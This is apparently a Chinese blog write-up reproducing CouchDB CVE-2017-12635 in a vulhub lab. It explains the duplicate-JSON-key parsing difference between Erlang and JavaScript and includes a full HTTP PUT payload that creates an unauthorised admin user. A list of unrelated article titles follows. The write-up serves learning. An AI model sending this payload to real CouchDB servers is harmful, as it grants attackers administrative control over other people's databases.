couchdb简介:

  • Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

漏洞原理:

  • CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
  • 举例:
    Erlang:
    
    > jiffy:decode("{"a":"1", "a":"2"}").
    
    {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
    JavaScript:
    
    > JSON.parse("{"a":"", "a": ""}")
    
    {a: ""}
  • 在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。这里涉及的函数参考:https://www.anquanke.com/post/id/87256https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635

影响版本:

  • 小于 1.7.0 以及 小于 2.1.1

复现:

  • 构造创建用户的数据包
  •  org.couchdb,user:$name  与name:$name是对应的,此时我们没有admin权限,所以会报错forbidden。
  • 绕过role验证:
  • payload:
    •   

      PUT /_users/org.couchdb.user:vulhub HTTP/1.1
      Host: 192.168.183.134:5984
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: application/json
      Content-Length: 110 {
      "type": "user",
      "name": "vulhub",
      "roles": ["_admin"],
      "roles":[],
      "password": "vulhub111"
      }

一些小思考:

  • 虽然分析说,只读取第一个键值,按理来说,第二个值是任意的应该不影响,但我测试发现,只有为空时,poc才正确操作。

  • 且在创建一个成功后,再重复发包,也会报错409,
  • 修改已创建的密码也不行

总结:

  这个还是比较好利用,但是请别借此破坏信息安全,仅为学习。

最新文章

  1. ubuntu 16.04安装docker
  2. Android 开发常用命令
  3. 图像二值化----otsu(最大类间方差法、大津算法)
  4. Sublime_text3怎么运行php代码
  5. Lua内存泄漏应对方法[转]
  6. HTML 5入门知识——Drag
  7. canvas绘制旋转图形
  8. Java main方法全解
  9. javascript权威指南笔记[6-8]
  10. cJSON源码分析
  11. Servlet发送邮件遇到的问题SMTPSendFailedException 554
  12. 解决VS Code使用code runner开发Python乱码问题
  13. idea tomcat上传图片,无法显示的问题解决
  14. framework中编译anroid工程并在模拟器上运行
  15. Ubuntu下SSH无密码验证配置
  16. json解析出来数据为空解决方法
  17. [django]cbv方式
  18. Android JNI中C和JAVA代码之间的互相调用
  19. laravel + php cgi + nginx在windows平台下的配置
  20. oracle 用函数返回对象集合

热门文章

  1. GitLab → 搭建中常遇的问题与日常维护
  2. tensorflow 控制流操作,条件判断和循环操作
  3. PyTorch 系列教程之空间变换器网络
  4. Centos7部署k8s[v1.16]高可用[keepalived]集群
  5. Windows下命令行MySQL安装
  6. Supervisor 使用和进阶4 (Event 的使用)
  7. CentOS下的Docker-Compose离线安装
  8. A AK的距离
  9. LeetCode 题解 | 70. 爬楼梯
  10. Shell:Day02.笔记